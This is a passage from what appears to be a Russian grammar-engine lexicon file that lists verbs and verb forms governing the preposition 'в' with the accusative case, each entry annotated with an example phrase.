деепричастие:придя{}, // Немного придя в себя
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ)
rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ)
rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ)
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ)
rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ)
rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку
rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин)
rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин)
rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин)
rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин)
rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин)
rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин)
rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин)
rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В)
rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В)
rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В)
rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В)
rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин)
rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В)
rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В)
rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин)
rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В)
rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В)
rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В)
rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В)
rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В)
rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В)
rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В)
rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В)
rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В)
rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны.
rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В)
rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям.
rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В)
rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в)
rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В)
rus_verbs:валить{}, // валить все в одну кучу (валить в)
rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в)
rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в)
rus_verbs:клониться{}, // он клонился в сторону (клониться в)
rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в)
rus_verbs:запасть{}, // Эти слова запали мне в душу.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:ездить{}, // Каждый день грузовик ездит в город.
rus_verbs:претвориться{}, // Замысел претворился в жизнь.
rus_verbs:разойтись{}, // Они разошлись в разные стороны.
rus_verbs:выйти{}, // Охотник вышел в поле с ружьём.
rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом.
rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны
rus_verbs:переодеваться{}, // переодеваться в женское платье
rus_verbs:перерастать{}, // перерастать в массовые беспорядки
rus_verbs:завязываться{}, // завязываться в узел
rus_verbs:похватать{}, // похватать в руки
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:помещать{}, // помещать в изолятор
rus_verbs:зыркнуть{}, // зыркнуть в окошко
rus_verbs:закатать{}, // закатать в асфальт
rus_verbs:усаживаться{}, // усаживаться в кресло
rus_verbs:загонять{}, // загонять в сарай
rus_verbs:подбрасывать{}, // подбрасывать в воздух
rus_verbs:телеграфировать{}, // телеграфировать в центр
rus_verbs:вязать{}, // вязать в стопы
rus_verbs:подлить{}, // подлить в огонь
rus_verbs:заполучить{}, // заполучить в распоряжение
rus_verbs:подогнать{}, // подогнать в док
rus_verbs:ломиться{}, // ломиться в открытую дверь
rus_verbs:переправить{}, // переправить в деревню
rus_verbs:затягиваться{}, // затягиваться в трубу
rus_verbs:разлетаться{}, // разлетаться в стороны
rus_verbs:кланяться{}, // кланяться в ножки
rus_verbs:устремляться{}, // устремляться в открытое море
rus_verbs:переместиться{}, // переместиться в другую аудиторию
rus_verbs:ложить{}, // ложить в ящик
rus_verbs:отвозить{}, // отвозить в аэропорт
rus_verbs:напрашиваться{}, // напрашиваться в гости
rus_verbs:напроситься{}, // напроситься в гости
rus_verbs:нагрянуть{}, // нагрянуть в гости
rus_verbs:заворачивать{}, // заворачивать в фольгу
rus_verbs:заковать{}, // заковать в кандалы
rus_verbs:свезти{}, // свезти в сарай
rus_verbs:притащиться{}, // притащиться в дом
rus_verbs:завербовать{}, // завербовать в разведку
rus_verbs:рубиться{}, // рубиться в компьютерные игры
rus_verbs:тыкаться{}, // тыкаться в материнскую грудь
инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер
глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш },
деепричастие:ссыпав{}, деепричастие:ссыпая{},
rus_verbs:засасывать{}, // засасывать в себя
rus_verbs:скакнуть{}, // скакнуть в будущее
rus_verbs:подвозить{}, // подвозить в театр
rus_verbs:переиграть{}, // переиграть в покер
rus_verbs:мобилизовать{}, // мобилизовать в действующую армию
rus_verbs:залетать{}, // залетать в закрытое воздушное пространство
rus_verbs:подышать{}, // подышать в трубочку
rus_verbs:смотаться{}, // смотаться в институт
rus_verbs:рассовать{}, // рассовать в кармашки
rus_verbs:захаживать{}, // захаживать в дом
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард
деепричастие:сгоняя{},
rus_verbs:посылаться{}, // посылаться в порт
rus_verbs:отлить{}, // отлить в кастрюлю
rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение
rus_verbs:поплакать{}, // поплакать в платочек
rus_verbs:обуться{}, // обуться в сапоги
rus_verbs:закапать{}, // закапать в глаза
инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации
глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш },
деепричастие:свозив{}, деепричастие:свозя{},
rus_verbs:преобразовать{}, // преобразовать в линейное уравнение
rus_verbs:кутаться{}, // кутаться в плед
rus_verbs:смещаться{}, // смещаться в сторону
rus_verbs:зазывать{}, // зазывать в свой магазин
инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон
глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш },
деепричастие:трансформируясь{}, деепричастие:трансформировавшись{},
rus_verbs:погружать{}, // погружать в кипящее масло
rus_verbs:обыграть{}, // обыграть в теннис
rus_verbs:закутать{}, // закутать в одеяло
rus_verbs:изливаться{}, // изливаться в воду
rus_verbs:закатывать{}, // закатывать в асфальт
rus_verbs:мотнуться{}, // мотнуться в банк
rus_verbs:избираться{}, // избираться в сенат
rus_verbs:наниматься{}, // наниматься в услужение
rus_verbs:настучать{}, // настучать в органы
rus_verbs:запихивать{}, // запихивать в печку
rus_verbs:закапывать{}, // закапывать в нос
rus_verbs:засобираться{}, // засобираться в поход
rus_verbs:копировать{}, // копировать в другую папку
rus_verbs:замуровать{}, // замуровать в стену
rus_verbs:упечь{}, // упечь в тюрьму
rus_verbs:зрить{}, // зрить в корень
rus_verbs:стягиваться{}, // стягиваться в одну точку
rus_verbs:усаживать{}, // усаживать в тренажер
rus_verbs:протолкнуть{}, // протолкнуть в отверстие
rus_verbs:расшибиться{}, // расшибиться в лепешку
rus_verbs:приглашаться{}, // приглашаться в кабинет
rus_verbs:садить{}, // садить в телегу
rus_verbs:уткнуть{}, // уткнуть в подушку
rus_verbs:протечь{}, // протечь в подвал
rus_verbs:перегнать{}, // перегнать в другую страну
rus_verbs:переползти{}, // переползти в тень
rus_verbs:зарываться{}, // зарываться в грунт
rus_verbs:переодеть{}, // переодеть в сухую одежду
rus_verbs:припуститься{}, // припуститься в пляс
rus_verbs:лопотать{}, // лопотать в микрофон
rus_verbs:прогнусавить{}, // прогнусавить в микрофон
rus_verbs:мочиться{}, // мочиться в штаны
rus_verbs:загружать{}, // загружать в патронник
rus_verbs:радировать{}, // радировать в центр
rus_verbs:промотать{}, // промотать в конец
rus_verbs:помчать{}, // помчать в школу
rus_verbs:съезжать{}, // съезжать в кювет
rus_verbs:завозить{}, // завозить в магазин
rus_verbs:заявляться{}, // заявляться в школу
rus_verbs:наглядеться{}, // наглядеться в зеркало
rus_verbs:сворачиваться{}, // сворачиваться в клубочек
rus_verbs:устремлять{}, // устремлять взор в будущее
rus_verbs:забредать{}, // забредать в глухие уголки
rus_verbs:перемотать{}, // перемотать в самое начало диалога
rus_verbs:сморкаться{}, // сморкаться в носовой платочек
rus_verbs:перетекать{}, // перетекать в другой сосуд
rus_verbs:закачать{}, // закачать в шарик
rus_verbs:запрятать{}, // запрятать в сейф
rus_verbs:пинать{}, // пинать в живот
rus_verbs:затрубить{}, // затрубить в горн
rus_verbs:подглядывать{}, // подглядывать в замочную скважину
инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье
глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш },
деепричастие:подсыпав{}, деепричастие:подсыпая{},
rus_verbs:засовывать{}, // засовывать в пенал
rus_verbs:отрядить{}, // отрядить в командировку
rus_verbs:справлять{}, // справлять в кусты
rus_verbs:поторапливаться{}, // поторапливаться в самолет
rus_verbs:скопировать{}, // скопировать в кэш
rus_verbs:подливать{}, // подливать в огонь
rus_verbs:запрячь{}, // запрячь в повозку
rus_verbs:окраситься{}, // окраситься в пурпур
rus_verbs:уколоть{}, // уколоть в шею
rus_verbs:слететься{}, // слететься в гнездо
rus_verbs:резаться{}, // резаться в карты
rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров
инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш)
деепричастие:задвигая{},
rus_verbs:доставляться{}, // доставляться в ресторан
rus_verbs:поплевать{}, // поплевать в чашку
rus_verbs:попереться{}, // попереться в магазин
rus_verbs:хаживать{}, // хаживать в церковь
rus_verbs:преображаться{}, // преображаться в королеву
rus_verbs:организоваться{}, // организоваться в группу
rus_verbs:ужалить{}, // ужалить в руку
rus_verbs:протискиваться{}, // протискиваться в аудиторию
rus_verbs:препроводить{}, // препроводить в закуток
rus_verbs:разъезжаться{}, // разъезжаться в разные стороны
rus_verbs:пропыхтеть{}, // пропыхтеть в трубку
rus_verbs:уволочь{}, // уволочь в нору
rus_verbs:отодвигаться{}, // отодвигаться в сторону
rus_verbs:разливать{}, // разливать в стаканы
rus_verbs:сбегаться{}, // сбегаться в актовый зал
rus_verbs:наведаться{}, // наведаться в кладовку
rus_verbs:перекочевать{}, // перекочевать в горы
rus_verbs:прощебетать{}, // прощебетать в трубку
rus_verbs:перекладывать{}, // перекладывать в другой карман
rus_verbs:углубляться{}, // углубляться в теорию
rus_verbs:переименовать{}, // переименовать в город
rus_verbs:переметнуться{}, // переметнуться в лагерь противника
rus_verbs:разносить{}, // разносить в щепки
rus_verbs:осыпаться{}, // осыпаться в холода
rus_verbs:попроситься{}, // попроситься в туалет
rus_verbs:уязвить{}, // уязвить в сердце
rus_verbs:перетащить{}, // перетащить в дом
rus_verbs:закутаться{}, // закутаться в плед
// rus_verbs:упаковать{}, // упаковать в бумагу
инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость
rus_verbs:хихикать{}, // хихикать в кулачок
rus_verbs:объединить{}, // объединить в сеть
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию
деепричастие:слетав{},
rus_verbs:заползти{}, // заползти в норку
rus_verbs:перерасти{}, // перерасти в крупную аферу
rus_verbs:списать{}, // списать в утиль
rus_verbs:просачиваться{}, // просачиваться в бункер
rus_verbs:пускаться{}, // пускаться в погоню
rus_verbs:согревать{}, // согревать в мороз
rus_verbs:наливаться{}, // наливаться в емкость
rus_verbs:унестись{}, // унестись в небо
rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф
rus_verbs:сигануть{}, // сигануть в воду
rus_verbs:окунуть{}, // окунуть в ледяную воду
rus_verbs:просочиться{}, // просочиться в сапог
rus_verbs:соваться{}, // соваться в толпу
rus_verbs:протолкаться{}, // протолкаться в гардероб
rus_verbs:заложить{}, // заложить в ломбард
rus_verbs:перекатить{}, // перекатить в сарай
rus_verbs:поставлять{}, // поставлять в Китай
rus_verbs:залезать{}, // залезать в долги
rus_verbs:отлучаться{}, // отлучаться в туалет
rus_verbs:сбиваться{}, // сбиваться в кучу
rus_verbs:зарыть{}, // зарыть в землю
rus_verbs:засадить{}, // засадить в тело
rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь
rus_verbs:переставить{}, // переставить в шкаф
rus_verbs:отчалить{}, // отчалить в плавание
rus_verbs:набираться{}, // набираться в команду
rus_verbs:лягнуть{}, // лягнуть в живот
rus_verbs:притворить{}, // притворить в жизнь
rus_verbs:проковылять{}, // проковылять в гардероб
rus_verbs:прикатить{}, // прикатить в гараж
rus_verbs:залететь{}, // залететь в окно
rus_verbs:переделать{}, // переделать в мопед
rus_verbs:протащить{}, // протащить в совет
rus_verbs:обмакнуть{}, // обмакнуть в воду
rus_verbs:отклоняться{}, // отклоняться в сторону
rus_verbs:запихать{}, // запихать в пакет
rus_verbs:избирать{}, // избирать в совет
rus_verbs:загрузить{}, // загрузить в буфер
rus_verbs:уплывать{}, // уплывать в Париж
rus_verbs:забивать{}, // забивать в мерзлоту
rus_verbs:потыкать{}, // потыкать в безжизненную тушу
rus_verbs:съезжаться{}, // съезжаться в санаторий
rus_verbs:залепить{}, // залепить в рыло
rus_verbs:набиться{}, // набиться в карманы
rus_verbs:уползти{}, // уползти в нору
rus_verbs:упрятать{}, // упрятать в камеру
rus_verbs:переместить{}, // переместить в камеру анабиоза
rus_verbs:закрасться{}, // закрасться в душу
rus_verbs:сместиться{}, // сместиться в инфракрасную область
rus_verbs:запускать{}, // запускать в серию
rus_verbs:потрусить{}, // потрусить в чащобу
rus_verbs:забрасывать{}, // забрасывать в чистую воду
rus_verbs:переселить{}, // переселить в отдаленную деревню
rus_verbs:переезжать{}, // переезжать в новую квартиру
rus_verbs:приподнимать{}, // приподнимать в воздух
rus_verbs:добавиться{}, // добавиться в конец очереди
rus_verbs:убыть{}, // убыть в часть
rus_verbs:передвигать{}, // передвигать в соседнюю клетку
rus_verbs:добавляться{}, // добавляться в очередь
rus_verbs:дописать{}, // дописать в перечень
rus_verbs:записываться{}, // записываться в кружок
rus_verbs:продаться{}, // продаться в кредитное рабство
rus_verbs:переписывать{}, // переписывать в тетрадку
rus_verbs:заплыть{}, // заплыть в территориальные воды
инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок
глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" },
rus_verbs:отбирать{}, // отбирать в гвардию
rus_verbs:нашептывать{}, // нашептывать в микрофон
rus_verbs:ковылять{}, // ковылять в стойло
rus_verbs:прилетать{}, // прилетать в Париж
rus_verbs:пролиться{}, // пролиться в канализацию
rus_verbs:запищать{}, // запищать в микрофон
rus_verbs:подвезти{}, // подвезти в больницу
rus_verbs:припереться{}, // припереться в театр
rus_verbs:утечь{}, // утечь в сеть
rus_verbs:прорываться{}, // прорываться в буфет
rus_verbs:увозить{}, // увозить в ремонт
rus_verbs:съедать{}, // съедать в обед
rus_verbs:просунуться{}, // просунуться в дверь
rus_verbs:перенестись{}, // перенестись в прошлое
rus_verbs:завезти{}, // завезти в магазин
rus_verbs:проложить{}, // проложить в деревню
rus_verbs:объединяться{}, // объединяться в профсоюз
rus_verbs:развиться{}, // развиться в бабочку
rus_verbs:засеменить{}, // засеменить в кабинку
rus_verbs:скатываться{}, // скатываться в яму
rus_verbs:завозиться{}, // завозиться в магазин
rus_verbs:нанимать{}, // нанимать в рейс
rus_verbs:поспеть{}, // поспеть в класс
rus_verbs:кидаться{}, // кинаться в крайности
rus_verbs:поспевать{}, // поспевать в оперу
rus_verbs:обернуть{}, // обернуть в фольгу
rus_verbs:обратиться{}, // обратиться в прокуратуру
rus_verbs:истолковать{}, // истолковать в свою пользу
rus_verbs:таращиться{}, // таращиться в дисплей
rus_verbs:прыснуть{}, // прыснуть в кулачок
rus_verbs:загнуть{}, // загнуть в другую сторону
rus_verbs:раздать{}, // раздать в разные руки
rus_verbs:назначить{}, // назначить в приемную комиссию
rus_verbs:кидать{}, // кидать в кусты
rus_verbs:увлекать{}, // увлекать в лес
rus_verbs:переселиться{}, // переселиться в чужое тело
rus_verbs:присылать{}, // присылать в город
rus_verbs:уплыть{}, // уплыть в Европу
rus_verbs:запричитать{}, // запричитать в полный голос
rus_verbs:утащить{}, // утащить в логово
rus_verbs:завернуться{}, // завернуться в плед
rus_verbs:заносить{}, // заносить в блокнот
rus_verbs:пятиться{}, // пятиться в дом
rus_verbs:наведываться{}, // наведываться в больницу
rus_verbs:нырять{}, // нырять в прорубь
rus_verbs:зачастить{}, // зачастить в бар
rus_verbs:назначаться{}, // назначается в комиссию
rus_verbs:мотаться{}, // мотаться в областной центр
rus_verbs:разыграть{}, // разыграть в карты
rus_verbs:пропищать{}, // пропищать в микрофон
rus_verbs:пихнуть{}, // пихнуть в бок
rus_verbs:эмигрировать{}, // эмигрировать в Канаду
rus_verbs:подключить{}, // подключить в сеть
rus_verbs:упереть{}, // упереть в фундамент
rus_verbs:уплатить{}, // уплатить в кассу
rus_verbs:потащиться{}, // потащиться в медпункт
rus_verbs:пригнать{}, // пригнать в стойло
rus_verbs:оттеснить{}, // оттеснить в фойе
rus_verbs:стучаться{}, // стучаться в ворота
rus_verbs:перечислить{}, // перечислить в фонд
rus_verbs:сомкнуть{}, // сомкнуть в круг
rus_verbs:закачаться{}, // закачаться в резервуар
rus_verbs:кольнуть{}, // кольнуть в бок
rus_verbs:накрениться{}, // накрениться в сторону берега
rus_verbs:подвинуться{}, // подвинуться в другую сторону
rus_verbs:разнести{}, // разнести в клочья
rus_verbs:отливать{}, // отливать в форму
rus_verbs:подкинуть{}, // подкинуть в карман
rus_verbs:уводить{}, // уводить в кабинет
rus_verbs:ускакать{}, // ускакать в школу
rus_verbs:ударять{}, // ударять в барабаны
rus_verbs:даться{}, // даться в руки
rus_verbs:поцеловаться{}, // поцеловаться в губы
rus_verbs:посветить{}, // посветить в подвал
rus_verbs:тыкать{}, // тыкать в арбуз
rus_verbs:соединяться{}, // соединяться в кольцо
rus_verbs:растянуть{}, // растянуть в тонкую ниточку
rus_verbs:побросать{}, // побросать в пыль
rus_verbs:стукнуться{}, // стукнуться в закрытую дверь
rus_verbs:проигрывать{}, // проигрывать в теннис
rus_verbs:дунуть{}, // дунуть в трубочку
rus_verbs:улетать{}, // улетать в Париж
rus_verbs:переводиться{}, // переводиться в филиал
rus_verbs:окунуться{}, // окунуться в водоворот событий
rus_verbs:попрятаться{}, // попрятаться в норы
rus_verbs:перевезти{}, // перевезти в соседнюю палату
rus_verbs:топать{}, // топать в школу
rus_verbs:относить{}, // относить в помещение
rus_verbs:укладывать{}, // укладывать в стопку
rus_verbs:укатить{}, // укатил в турне
rus_verbs:убирать{}, // убирать в сумку
rus_verbs:помалкивать{}, // помалкивать в тряпочку
rus_verbs:ронять{}, // ронять в грязь
rus_verbs:глазеть{}, // глазеть в бинокль
rus_verbs:преобразиться{}, // преобразиться в другого человека
rus_verbs:запрыгнуть{}, // запрыгнуть в поезд
rus_verbs:сгодиться{}, // сгодиться в суп
rus_verbs:проползти{}, // проползти в нору
rus_verbs:забираться{}, // забираться в коляску
rus_verbs:сбежаться{}, // сбежались в класс
rus_verbs:закатиться{}, // закатиться в угол
rus_verbs:плевать{}, // плевать в душу
rus_verbs:поиграть{}, // поиграть в демократию
rus_verbs:кануть{}, // кануть в небытие
rus_verbs:опаздывать{}, // опаздывать в школу
rus_verbs:отползти{}, // отползти в сторону
rus_verbs:стекаться{}, // стекаться в отстойник
rus_verbs:запихнуть{}, // запихнуть в пакет
rus_verbs:вышвырнуть{}, // вышвырнуть в коридор
rus_verbs:связываться{}, // связываться в плотный узел
rus_verbs:затолкать{}, // затолкать в ухо
rus_verbs:скрутить{}, // скрутить в трубочку
rus_verbs:сворачивать{}, // сворачивать в трубочку
rus_verbs:сплестись{}, // сплестись в узел
rus_verbs:заскочить{}, // заскочить в кабинет
rus_verbs:проваливаться{}, // проваливаться в сон
rus_verbs:уверовать{}, // уверовать в свою безнаказанность
rus_verbs:переписать{}, // переписать в тетрадку
rus_verbs:переноситься{}, // переноситься в мир фантазий
rus_verbs:заводить{}, // заводить в помещение
rus_verbs:сунуться{}, // сунуться в аудиторию
rus_verbs:устраиваться{}, // устраиваться в автомастерскую
rus_verbs:пропускать{}, // пропускать в зал
инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино
глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш },
деепричастие:сбегая{}, деепричастие:сбегав{},
rus_verbs:прибегать{}, // прибегать в школу
rus_verbs:съездить{}, // съездить в лес
rus_verbs:захлопать{}, // захлопать в ладошки
rus_verbs:опрокинуться{}, // опрокинуться в грязь
инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан
глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш },
деепричастие:насыпая{}, деепричастие:насыпав{},
rus_verbs:употреблять{}, // употреблять в пищу
rus_verbs:приводиться{}, // приводиться в действие
rus_verbs:пристроить{}, // пристроить в надежные руки
rus_verbs:юркнуть{}, // юркнуть в нору
rus_verbs:объединиться{}, // объединиться в банду
rus_verbs:сажать{}, // сажать в одиночку
rus_verbs:соединить{}, // соединить в кольцо
rus_verbs:забрести{}, // забрести в кафешку
rus_verbs:свернуться{}, // свернуться в клубочек
rus_verbs:пересесть{}, // пересесть в другой автобус
rus_verbs:постучаться{}, // постучаться в дверцу
rus_verbs:соединять{}, // соединять в кольцо
rus_verbs:приволочь{}, // приволочь в коморку
rus_verbs:смахивать{}, // смахивать в ящик стола
rus_verbs:забежать{}, // забежать в помещение
rus_verbs:целиться{}, // целиться в беглеца
rus_verbs:прокрасться{}, // прокрасться в хранилище
rus_verbs:заковылять{}, // заковылять в травтамологию
rus_verbs:прискакать{}, // прискакать в стойло
rus_verbs:колотить{}, // колотить в дверь
rus_verbs:смотреться{}, // смотреться в зеркало
rus_verbs:подложить{}, // подложить в салон
rus_verbs:пущать{}, // пущать в королевские покои
rus_verbs:согнуть{}, // согнуть в дугу
rus_verbs:забарабанить{}, // забарабанить в дверь
rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы
rus_verbs:убраться{}, // убраться в специальную нишу
rus_verbs:насмотреться{}, // насмотреться в зеркало
rus_verbs:чмокнуть{}, // чмокнуть в щечку
rus_verbs:усмехаться{}, // усмехаться в бороду
rus_verbs:передвинуть{}, // передвинуть в конец очереди
rus_verbs:допускаться{}, // допускаться в опочивальню
rus_verbs:задвинуть{}, // задвинуть в дальний угол
rus_verbs:отправлять{}, // отправлять в центр
rus_verbs:сбрасывать{}, // сбрасывать в жерло
rus_verbs:расстреливать{}, // расстреливать в момент обнаружения
rus_verbs:заволочь{}, // заволочь в закуток
rus_verbs:пролить{}, // пролить в воду
rus_verbs:зарыться{}, // зарыться в сено
rus_verbs:переливаться{}, // переливаться в емкость
rus_verbs:затащить{}, // затащить в клуб
rus_verbs:перебежать{}, // перебежать в лагерь врагов
rus_verbs:одеть{}, // одеть в новое платье
инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу
деепричастие:задвигаясь{},
rus_verbs:клюнуть{}, // клюнуть в темечко
rus_verbs:наливать{}, // наливать в кружку
rus_verbs:пролезть{}, // пролезть в ушко
rus_verbs:откладывать{}, // откладывать в ящик
rus_verbs:протянуться{}, // протянуться в соседний дом
rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь
rus_verbs:устанавливать{}, // устанавливать в машину
rus_verbs:употребляться{}, // употребляться в пищу
rus_verbs:переключиться{}, // переключиться в реверсный режим
rus_verbs:пискнуть{}, // пискнуть в микрофон
rus_verbs:заявиться{}, // заявиться в класс
rus_verbs:налиться{}, // налиться в стакан
rus_verbs:заливать{}, // заливать в бак
rus_verbs:ставиться{}, // ставиться в очередь
инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны
деепричастие:писаясь{},
rus_verbs:целоваться{}, // целоваться в губы
rus_verbs:наносить{}, // наносить в область сердца
rus_verbs:посмеяться{}, // посмеяться в кулачок
rus_verbs:употребить{}, // употребить в пищу
rus_verbs:прорваться{}, // прорваться в столовую
rus_verbs:укладываться{}, // укладываться в ровные стопки
rus_verbs:пробиться{}, // пробиться в финал
rus_verbs:забить{}, // забить в землю
rus_verbs:переложить{}, // переложить в другой карман
rus_verbs:опускать{}, // опускать в свежевырытую могилу
rus_verbs:поторопиться{}, // поторопиться в школу
rus_verbs:сдвинуться{}, // сдвинуться в сторону
rus_verbs:капать{}, // капать в смесь
rus_verbs:погружаться{}, // погружаться во тьму
rus_verbs:направлять{}, // направлять в кабинку
rus_verbs:погрузить{}, // погрузить во тьму
rus_verbs:примчаться{}, // примчаться в школу
rus_verbs:упираться{}, // упираться в дверь
rus_verbs:удаляться{}, // удаляться в комнату совещаний
rus_verbs:ткнуться{}, // ткнуться в окошко
rus_verbs:убегать{}, // убегать в чащу
rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру
rus_verbs:наговорить{}, // наговорить в микрофон
rus_verbs:переносить{}, // переносить в дом
rus_verbs:прилечь{}, // прилечь в кроватку
rus_verbs:поворачивать{}, // поворачивать в обратную сторону
rus_verbs:проскочить{}, // проскочить в щель
rus_verbs:совать{}, // совать в духовку
rus_verbs:переодеться{}, // переодеться в чистую одежду
rus_verbs:порвать{}, // порвать в лоскуты
rus_verbs:завязать{}, // завязать в бараний рог
rus_verbs:съехать{}, // съехать в кювет
rus_verbs:литься{}, // литься в канистру
rus_verbs:уклониться{}, // уклониться в левую сторону
rus_verbs:смахнуть{}, // смахнуть в мусорное ведро
rus_verbs:спускать{}, // спускать в шахту
rus_verbs:плеснуть{}, // плеснуть в воду
rus_verbs:подуть{}, // подуть в угольки
rus_verbs:набирать{}, // набирать в команду
rus_verbs:хлопать{}, // хлопать в ладошки
rus_verbs:ранить{}, // ранить в самое сердце
rus_verbs:посматривать{}, // посматривать в иллюминатор
rus_verbs:превращать{}, // превращать воду в вино
rus_verbs:толкать{}, // толкать в пучину
rus_verbs:отбыть{}, // отбыть в расположение части
rus_verbs:сгрести{}, // сгрести в карман
rus_verbs:удрать{}, // удрать в тайгу
rus_verbs:пристроиться{}, // пристроиться в хорошую фирму
